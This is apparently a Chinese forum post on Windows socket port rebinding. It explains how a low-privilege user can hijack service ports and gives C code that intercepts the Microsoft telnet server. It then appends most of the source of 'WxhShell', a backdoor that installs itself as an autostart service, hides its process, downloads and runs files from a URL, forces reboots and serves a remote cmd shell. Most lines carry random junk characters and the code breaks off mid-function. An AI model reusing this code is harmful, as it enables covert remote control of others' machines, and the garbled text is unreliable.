在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
kt/,& oKI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v _MQ]X l<`> saddr.sin_family = AF_INET;
(90/,@66l _fHml saddr.sin_addr.s_addr = htonl(INADDR_ANY);
b|d-vnYE 52e>f5m.
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
<W"W13*j! FmL]|~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^Co$X+
>X*tMhcb 这意味着什么?意味着可以进行如下的攻击:
2X?GEO]/4 gsk?
!D 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-Uwxmy + J?QS7#!% 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-b(DPte t~) P1Lof\ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'r?ULft1 ?l0eU@rwQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
E7:xPNU J7`mEL>? 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
+xFn~b/ *;o%*: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
6p9fq3~7Y HEF
e? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\CL8~ ANM#Kx+ #include
C$OVN$lL`8 #include
2%W;#oi? #include
H3A$YkK [ #include
gxv^=;2C DWORD WINAPI ClientThread(LPVOID lpParam);
4Z"}W!A int main()
lB,1dw2(T {
4l$OO;B WORD wVersionRequested;
4b8G 1fm DWORD ret;
l|P"^;*zq WSADATA wsaData;
Yj/afn(Jt BOOL val;
53HA6:Q[ SOCKADDR_IN saddr;
!_S#8" SOCKADDR_IN scaddr;
~||0lj.D int err;
~KBa-i%o SOCKET s;
T6U/}&{O SOCKET sc;
zJe KB8 int caddsize;
;M:AcQZ|_ HANDLE mt;
No^gKh24 DWORD tid;
`2mddx8 wVersionRequested = MAKEWORD( 2, 2 );
x< A-Ws{^V err = WSAStartup( wVersionRequested, &wsaData );
-NBVUUAgN if ( err != 0 ) {
tn]nl!_@ printf("error!WSAStartup failed!\n");
U'fP return -1;
{q-&!l| }
J2bvHxb Rd saddr.sin_family = AF_INET;
j#l=%H X3.zNHN5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
0a~t nf.Ox.kM) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!}(B=- saddr.sin_port = htons(23);
)PX VR
T if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,>;21\D
{
$DbnPZ2$ printf("error!socket failed!\n");
17LhgZs& return -1;
rq+_[! }
_olQ;{ U: val = TRUE;
y>I2}P //SO_REUSEADDR选项就是可以实现端口重绑定的
l5[5Y6c> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
"r9Rr_,
> {
w'S,{GW printf("error!setsockopt failed!\n");
;J%:DD return -1;
s|=lKa]d!" }
Q Be6\oq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d>QFmsh- //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
HBlk~eZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
50,'z?-_ D|-]<r1" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
L5&M@YTH {
1-2hh) ret=GetLastError();
B
`(jTL printf("error!bind failed!\n");
Q+:y return -1;
]; w 2YR }
Rs %`6et}\ listen(s,2);
1[FN: hm while(1)
5^B79A"} {
nV'1 $L# caddsize = sizeof(scaddr);
O2w-nd74U //接受连接请求
zF1!a sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pv_o4qEN if(sc!=INVALID_SOCKET)
3:J>-MO {
f1 ; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
VD;*UkapZx if(mt==NULL)
^HKXm#vAB {
.wfydu)3 printf("Thread Creat Failed!\n");
SE'Im break;
$O"ss>8Se }
/9`4f " }
u47<J?!Q CloseHandle(mt);
}w0pi }
r&gvP|W% closesocket(s);
c;l!i- WSACleanup();
MmF&jd-= return 0;
J4Gzp~{ }
*uvM6F$ut DWORD WINAPI ClientThread(LPVOID lpParam)
-F 5BJk {
vy<W4 SOCKET ss = (SOCKET)lpParam;
,06Sm]4L, SOCKET sc;
9vI~vl l unsigned char buf[4096];
w"hd_8cO SOCKADDR_IN saddr;
BU`X_Z1) long num;
;%tFi DWORD val;
odv2 (\ DWORD ret;
S
'a- E![ //如果是隐藏端口应用的话,可以在此处加一些判断
kiTC)S=]) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Ji4p6$ .j- saddr.sin_family = AF_INET;
>F/^y O saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+VIA@`4 saddr.sin_port = htons(23);
0vY_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
c*bvZC^6 {
$8tk|uh printf("error!socket failed!\n");
D"7}&Ry: return -1;
55S s%$k@ }
`TrWtSwv val = 100;
)6"}M;v if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K-RmB4WI {
Et=Pr+Q{c ret = GetLastError();
%OQdUH4x return -1;
X9x`i }
.-gJS-.c if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D,#UJPyg {
H$![]Ujq ret = GetLastError();
waMF~#PJlt return -1;
}7 N6nZj` }
NxP(&M( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
&:&'70Ya {
*z0!=>( printf("error!socket connect failed!\n");
'zyw-1 closesocket(sc);
i|:!I)(lh closesocket(ss);
e3I""D{)[= return -1;
zsL@0]e& }
D|uvgu2 while(1)
rXx#<7` {
,\4]uZ< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
ZW4f " //如果是嗅探内容的话,可以再此处进行内容分析和记录
e~)[I! n //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
8^7Oc,:~ num = recv(ss,buf,4096,0);
ug3\K83aj/ if(num>0)
qng ~,m send(sc,buf,num,0);
y`I>|5[` else if(num==0)
ImXYI7PL break;
\&"C num = recv(sc,buf,4096,0);
1%Xh[ if(num>0)
4Aj~mA send(ss,buf,num,0);
SNj-h>&Mha else if(num==0)
q}U+BTCZ break;
nY'V,v[F }
VfU"%0x closesocket(ss);
rN0<y4)! closesocket(sc);
sJ6.3=
c return 0 ;
F8pA)!AH }
1lw%RM t"=5MaQk- {>>X3I ==========================================================
3?Pg
;
zPt<b!q 下边附上一个代码,,WXhSHELL
`Ba]i) ! #g{R+#fm ==========================================================
-FZC|[is fi?4!h #include "stdafx.h"
FnvpnU", GJ9>i)+h; #include <stdio.h>
yD+4YD #include <string.h>
0Lo8pe`DH #include <windows.h>
.NOAp #include <winsock2.h>
:i.@d? #include <winsvc.h>
L(y70T #include <urlmon.h>
\|=6<ZY: oe<i\uX8z #pragma comment (lib, "Ws2_32.lib")
u\\t~<8 #pragma comment (lib, "urlmon.lib")
HP# SR';E (W}F\P #define MAX_USER 100 // 最大客户端连接数
WZQ2Mi<&1' #define BUF_SOCK 200 // sock buffer
AtQ.H-8r #define KEY_BUFF 255 // 输入 buffer
$*q|}Tvl# :ld~9 #define REBOOT 0 // 重启
"U\RN #define SHUTDOWN 1 // 关机
UtQj<18< <)7aNW. #define DEF_PORT 5000 // 监听端口
qTJhYxm (&}[2pb! #define REG_LEN 16 // 注册表键长度
o/pw=R/): #define SVC_LEN 80 // NT服务名长度
Pn,I^Ej . }c/p;< // 从dll定义API
g=Z52y`N< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
__=53]jGE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RpJ7. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%"WENa/t typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ucN'
zq '=dQ$fs // wxhshell配置信息
Oeh A3$|# struct WSCFG {
7FC!^)x1 int ws_port; // 监听端口
,Lig6Z` char ws_passstr[REG_LEN]; // 口令
k]m ~DVS int ws_autoins; // 安装标记, 1=yes 0=no
J!:BCjRdw char ws_regname[REG_LEN]; // 注册表键名
?eS;Yc char ws_svcname[REG_LEN]; // 服务名
YBt=8`r char ws_svcdisp[SVC_LEN]; // 服务显示名
64B.7S88 char ws_svcdesc[SVC_LEN]; // 服务描述信息
<>HtXn/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
x^ `/&+m int ws_downexe; // 下载执行标记, 1=yes 0=no
VYG@_fd!x char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<6UXk[y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
f,G*e367: `~XksyT };
}e\"VhAl/ 2!#g\"
// default Wxhshell configuration
#^}H)>jWy struct WSCFG wscfg={DEF_PORT,
oU\]#e^ "xuhuanlingzhe",
Rqe.=+Qs 1,
xfRp_;l+R "Wxhshell",
C19N0= "Wxhshell",
Pe<VPf9+ "WxhShell Service",
wgFX')l: "Wrsky Windows CmdShell Service",
SkjG} "Please Input Your Password: ",
2uj
.* 1,
HE&)N
clY "
http://www.wrsky.com/wxhshell.exe",
Fm`*j/rq "Wxhshell.exe"
N@d~gE&^ };
=u2 z3$ od=hCQ1> // 消息定义模块
orjtwF>^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
p9"dm{ char *msg_ws_prompt="\n\r? for help\n\r#>";
UT;%I_i!' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
1jKpLTSs char *msg_ws_ext="\n\rExit.";
^lp=4C9 char *msg_ws_end="\n\rQuit.";
Q.N!b7r7 char *msg_ws_boot="\n\rReboot...";
/a\i char *msg_ws_poff="\n\rShutdown...";
MG?,,8s O char *msg_ws_down="\n\rSave to ";
m)A:w.o ?lC>E[ char *msg_ws_err="\n\rErr!";
gTj,I=3$?e char *msg_ws_ok="\n\rOK!";
,p|Q/M^ yrxX[Hg?@ char ExeFile[MAX_PATH];
{o~TbnC int nUser = 0;
B $u/n HANDLE handles[MAX_USER];
_=HaE&
int OsIsNt;
|dR}S!fmG 3Q,&D'];[ SERVICE_STATUS serviceStatus;
k8?._1t SERVICE_STATUS_HANDLE hServiceStatusHandle;
z"f@iJX?2 O>L,G)g // 函数声明
wO]e%BTO int Install(void);
3t-STk? int Uninstall(void);
&~*](Ma int DownloadFile(char *sURL, SOCKET wsh);
(WHgB0{ int Boot(int flag);
OlT8pG5Oa void HideProc(void);
L\#YFf int GetOsVer(void);
>6S7#)0T int Wxhshell(SOCKET wsl);
5aaM;45C void TalkWithClient(void *cs);
+jhzE% int CmdShell(SOCKET sock);
>haihT int StartFromService(void);
NtM>`5{? int StartWxhshell(LPSTR lpCmdLine);
h*R@ d r^5%0_F] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
8i',~[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
I8XP`Ccq ^6 wWv&G[8 // 数据结构和表定义
sU>IETo SERVICE_TABLE_ENTRY DispatchTable[] =
,zgz7 {
,sitO y}ks {wscfg.ws_svcname, NTServiceMain},
o< @![P
{NULL, NULL}
rd7p$e=i };
-Cyo2wk {py%-W // 自我安装
xX-r<:'tmi int Install(void)
Krae^z9R {
rR6} char svExeFile[MAX_PATH];
#LR4%}mg HKEY key;
!q+ #JW strcpy(svExeFile,ExeFile);
Erw1y,mF &dtst?? // 如果是win9x系统,修改注册表设为自启动
)#i@DHt= if(!OsIsNt) {
>ZJ]yhbhK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8&U
Mmbgy RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0si1:+t-[+ RegCloseKey(key);
:\[l~S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(RFH.iX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$
64up! RegCloseKey(key);
*Z#OfB4} return 0;
m ""+$ }
uXc;!* }
*47/BLys< }
]In7%Qb else {
[mzed{p]] KO" / // 如果是NT以上系统,安装为系统服务
R=~%kt_n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
y"yo\IDW if (schSCManager!=0)
1)k+v17]f5 {
m[eqTh4* SC_HANDLE schService = CreateService
-6+7&.A+ (
P4@`C{F5m schSCManager,
(tYZq86` wscfg.ws_svcname,
Z3JUYEAS wscfg.ws_svcdisp,
JuSS(dJw SERVICE_ALL_ACCESS,
J$}]p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
m\qeYI6, Z SERVICE_AUTO_START,
Gko"iO# SERVICE_ERROR_NORMAL,
MsXw
8D svExeFile,
joI) 6c NULL,
<\O+
NULL,
-)(5^OQ NULL,
X&WP.n) NULL,
Z5Lmg NULL
SE\?8cs]- );
d3:GmB . if (schService!=0)
,!_6X9N-h {
#][i!9$ CloseServiceHandle(schService);
+%YBa'Lk CloseServiceHandle(schSCManager);
i2Wvu3,D3- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
c*r H^Nz strcat(svExeFile,wscfg.ws_svcname);
di/QJrw
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&jqylX RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PcC@}3 RegCloseKey(key);
R ABw(b return 0;
Tc(=J7*r& }
Dizz ?O }
nh4G;qdU CloseServiceHandle(schSCManager);
7_\F$bp` }
P7F"#R0QB }
kBZ1)? Q3WI@4 return 1;
zjA]Tr }
by<@\n2B:U rnZ$Qk-H // 自我卸载
"`ftcJUd int Uninstall(void)
lQ?jdi {
Wu
0:X*>}p HKEY key;
_Gq6xv\b1 &B&8$X if(!OsIsNt) {
U5kKT.M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
['o ueOg RegDeleteValue(key,wscfg.ws_regname);
94-BcN RegCloseKey(key);
+4-T_m/W/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U,P>P+\@ RegDeleteValue(key,wscfg.ws_regname);
Ms|c"?se RegCloseKey(key);
Qn8xe, return 0;
I]C
Y>' }
3aq'JVq }
0o+Yjg>\~8 }
o=R(DK# U else {
R`<^/h b;b,t0wS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>g<YH'U{ if (schSCManager!=0)
*:yG)J 3F {
k^Qf | SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
i*=~mO8E if (schService!=0)
os{ iY {
ol"|?*3q if(DeleteService(schService)!=0) {
kY$EK]s CloseServiceHandle(schService);
I Id4w~| CloseServiceHandle(schSCManager);
FL{?W (M return 0;
5Rl\& G\ }
uj6'T Sl CloseServiceHandle(schService);
Sy VGm@ }
c9nR&m8(+ CloseServiceHandle(schSCManager);
'O(=Pz }
Gt.'_hf Js }
wNHn. ~bZ=]i return 1;
C=+9XfP 0 }
KzVi:Hm ^;_~mq. // 从指定url下载文件
~snj92K int DownloadFile(char *sURL, SOCKET wsh)
L"&T3i {
g[G/If HRESULT hr;
^0.8-RT char seps[]= "/";
M<Wi:r: char *token;
9;#RzelSp char *file;
AI2XNSV@Yl char myURL[MAX_PATH];
OPNRBMD char myFILE[MAX_PATH];
Iuxf`sd uHI(-!O strcpy(myURL,sURL);
-!XG>Z token=strtok(myURL,seps);
]B3](TH" while(token!=NULL)
#r9+thyC {
V#oz~GMB file=token;
x{:U$[_ token=strtok(NULL,seps);
wGti|7Tu* }
vntJe^IaFd AU\=n,K7 GetCurrentDirectory(MAX_PATH,myFILE);
S=k!8]/d| strcat(myFILE, "\\");
Y$L`
G strcat(myFILE, file);
+fk*c[FG send(wsh,myFILE,strlen(myFILE),0);
vb=]00c send(wsh,"...",3,0);
eS!]..%y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Em(_W5
ND{ if(hr==S_OK)
57q= return 0;
M )ET1ZM else
,4H? + |! return 1;
WhW}ZS'r ceG\Q2 }
hH`x*:Qja iI<c // 系统电源模块
.u)KP*_ int Boot(int flag)
|Ml~Pmpp {
fv7VDo8vb HANDLE hToken;
Y_Gd_+oJ TOKEN_PRIVILEGES tkp;
=v<w29P(g YcA. Bn|as if(OsIsNt) {
jOV6% OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sa8O<Ab LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*/e$S[5 tkp.PrivilegeCount = 1;
"0!h-bQN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
yF)J7a:U AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
zjUQ] if(flag==REBOOT) {
Gt&yz"?D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%"f85VfZ return 0;
9Q1%+zjjMq }
sg,\!' else {
` &A`&-nc= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,w~3K%B4 return 0;
50MM05aC }
Tm`@5 }
rT `sY else {
xq;>||B if(flag==REBOOT) {
]S%_&ZMCM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
FXr^ 4B} return 0;
^(TCUY~f& }
J920A^)j! else {
0HWSdf|w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3g;Y return 0;
d7kE}{, }
/
<(|4e }
~3bV~H#~m {Z/iYHv~#c return 1;
J6CSu7Voa }
_5 Lcr) |6Y:W$7k // win9x进程隐藏模块
us.[wp'Sh void HideProc(void)
dLYM )-H`> {
Qp<*or@ KRxJ2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
G|jHic! if ( hKernel != NULL )
>l 0aME@-0 {
(/uN+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
H}r]j\ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
h>bjG FreeLibrary(hKernel);
FC+-|1?C }
Ou1kSG|kM $?F_Qsy{d return;
IrZjlnht }
YA,.C4=s jP<6J( // 获取操作系统版本
8d*S9p,/ int GetOsVer(void)
r#WqXh_uk {
l0G{{R0Y OSVERSIONINFO winfo;
p|gVIsg[-e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
C1{Q 4(K% GetVersionEx(&winfo);
"S#$:92 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ei:m@}g return 1;
nN&dtjoF else
M;XU"8 return 0;
fa]8v6 }
yreH/$Ou8 2(!W
9#] // 客户端句柄模块
N|mggz int Wxhshell(SOCKET wsl)
JPTLh{/ {
J <z
^C SOCKET wsh;
5:38}p9` struct sockaddr_in client;
7d.H8C2 DWORD myID;
$E[O}+L$# O_ r-(wE4 while(nUser<MAX_USER)
d1#lC*.Sg {
cWnEp';. int nSize=sizeof(client);
y3(~8n wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rWWpP< if(wsh==INVALID_SOCKET) return 1;
"zw{m+7f, @wD#+Oz
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
O)^F z: if(handles[nUser]==0)
kR1
12J9P closesocket(wsh);
]foS.D, else
i+S%e,U* nUser++;
?6*\M }
1g=T"O&= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
V+y|C[A
F
y=9fuGL6 return 0;
9+(6/< }
KOR*y(* 8
d3a!s // 关闭 socket
L"0dB. void CloseIt(SOCKET wsh)
J_+2]X7n {
;ZJ. 7t' closesocket(wsh);
%l%ad-V nUser--;
ih("`//nP ExitThread(0);
Eva&FHRTY }
Z wKX$(n x%)oL:ue // 客户端请求句柄
UK'8cz9 void TalkWithClient(void *cs)
(Qw >P42J {
,I|^d.[2 lw8t#_P SOCKET wsh=(SOCKET)cs;
}`Wo(E}O char pwd[SVC_LEN];
TyO]|Q5 char cmd[KEY_BUFF];
y z3=# char chr[1];
'xuxMav6m int i,j;
w?_'sP{pd fvta< while (nUser < MAX_USER) {
}x6)}sz7 "w 4^i!\ if(wscfg.ws_passstr) {
LTx,oa:ma if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@}^VA9ULK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~d<&OL //ZeroMemory(pwd,KEY_BUFF);
tHqa% i=0;
e2%mD.I while(i<SVC_LEN) {
0f_`;{ GS>YfJ&DZ // 设置超时
.5SYN-@ fd_set FdRead;
"8)%XSb struct timeval TimeOut;
_TdH6[9 FD_ZERO(&FdRead);
v"Bm4+c&0 FD_SET(wsh,&FdRead);
~"bBwPI TimeOut.tv_sec=8;
?Z!R TimeOut.tv_usec=0;
|pknaz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
HXh:83 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M!hD`5.3 /V/)A\g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t\:=|t, pwd
=chr[0]; <2O#!bX1
if(chr[0]==0xd || chr[0]==0xa) { y'6l fThT
pwd=0; |d\1xTBLp
break; ME>Sh~C\
} n[;)(
i++; V~8]ag4
} lRS'M,/
)~xH!%4F
// 如果是非法用户,关闭 socket iig4JP'h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x*j
eCD,
} c8zok `\P_
ifWQwS/,a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -j Nnx*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1uyd+*/(xP
_b)Ie`a.H
while(1) { !gsrPM
a&kt!%p:
ZeroMemory(cmd,KEY_BUFF); mq}uq9<
o=zl{tZV
// 自动支持客户端 telnet标准 wqjR-$c
j=0; FBrh!vQ<
while(j<KEY_BUFF) { H7drDw
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \,m*CYs`
cmd[j]=chr[0]; hZ|0<u
if(chr[0]==0xa || chr[0]==0xd) { +s7w@
cmd[j]=0; r|z B?9Q
break; G `eU
} >,Zn~8&Z
j++; @5??`n
} hVz]',
qm9=Ga5
// 下载文件 D#,A_GA{A
if(strstr(cmd,"http://")) { `PLax@]2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8B "^}y\0
if(DownloadFile(cmd,wsh)) b'4}=Xpn
send(wsh,msg_ws_err,strlen(msg_ws_err),0); trA ^JY
else `Um-Y'KE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9[&q
C
} jW^]N$>
else { .Y!dO@$:
]R^xO;g'
switch(cmd[0]) { Q7zpu/5?
#<V5sgqS
// 帮助 =|fB":vk
case '?': { 6B
b+f"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); roi,?B_8
break; 8F$]@0v`%
} }QCn>LXE
// 安装 Jh4pY#aF
case 'i': { Gy6x.GX
if(Install()) YoK )fh$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~'z%
else szqR1A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mtLiS3Nk8
break; (6
RWI#
} zDxJK
// 卸载 Fl(j,B6Z
case 'r': { &-My[t
if(Uninstall()) [s]
ZT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); A^|~>9
else !X[7m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
b`GKGqb J
break; pz{ ]O_px
} &:}WfY!hX
// 显示 wxhshell 所在路径 J9J/3O
Q=
case 'p': { kf95 )iLo
char svExeFile[MAX_PATH]; ExFz@6@
strcpy(svExeFile,"\n\r"); "d0D8B7HI@
strcat(svExeFile,ExeFile); |WT]s B0Eq
send(wsh,svExeFile,strlen(svExeFile),0); &
\C1QkI
break; j]mnH`#BL
} r0pwKRE~t
// 重启 0hXx31JN N
case 'b': { >I;.q|T
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p%#'`*<a_
if(Boot(REBOOT)) w xaMdA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #oR@!?
else { fgA-+y
closesocket(wsh); ]T.+(\I
ExitThread(0); Zv8GrkK
} ]{t!J^Xn
break; HRCnjem/v\
} *
]D{[hV
// 关机 YB:}Lb
case 'd': { Jt}#,I,B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~g@}A
if(Boot(SHUTDOWN)) M[u6+`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]$-<< N{}'
else { N>)Db
closesocket(wsh); : Hu{MN\
ExitThread(0); |v1*
[(
} 4#t-?5"
break; ttBqp|.?S
} U?5G%o(q
// 获取shell Uaj_,qb(
case 's': { .F$cR^i5u
CmdShell(wsh); bFH`wLW
closesocket(wsh); (Y^tky$9
ExitThread(0); Y%}N@ ,lT
break; i
If?K%M7
} H%}/O;C
// 退出 v}IhO~`uEq
case 'x': { QTN'yd?WE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "];@N!dA
CloseIt(wsh); 8NJT:6Q7l
break; Pl2eDv-y
} bg)}-]u]
// 离开 g^\!> i
case 'q': { h7o.RRhK
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tv
5J
closesocket(wsh); $ 1m}lXk
WSACleanup(); T)ISDK4>S"
exit(1); vWa\8y f
break; h 'Hnq m
} Ua=r24fy
} xZ>j Q_}
} 9}4~3_gv;M
ip1gCH/?_+
// 提示信息 N8J(RR9O
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d..JW{
} -_O jiQR
} uotW[L9
}-u%6KZ
return; cF?0=un
} ?a1pO#{Dg
6)20%*[
// shell模块句柄 +m/n~-6q
int CmdShell(SOCKET sock) M9Nr/jE
{ \F""G,AWq{
STARTUPINFO si; U;!J(Us
ZeroMemory(&si,sizeof(si)); R-wz+j#
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OEC/'QOae
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !?+q7U
PROCESS_INFORMATION ProcessInfo; IcGX~zWr
char cmdline[]="cmd"; E\p"%
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .;l`VWP
return 0; o)R<sT
} G!h75G20
l/\D0\x2
// 自身启动模式 sNP
;
int StartFromService(void) ( 5uSqw&U
{ (Fq:G) $
typedef struct 8Kk41 =
{ %}XyzGq{
DWORD ExitStatus; M* {5> !\
DWORD PebBaseAddress; S_;r!.
DWORD AffinityMask; 8lA,3'z
DWORD BasePriority; W,_2JqQp
ULONG UniqueProcessId; <td]k%*+
ULONG InheritedFromUniqueProcessId; h ^s8LE3
} PROCESS_BASIC_INFORMATION; JO90TP
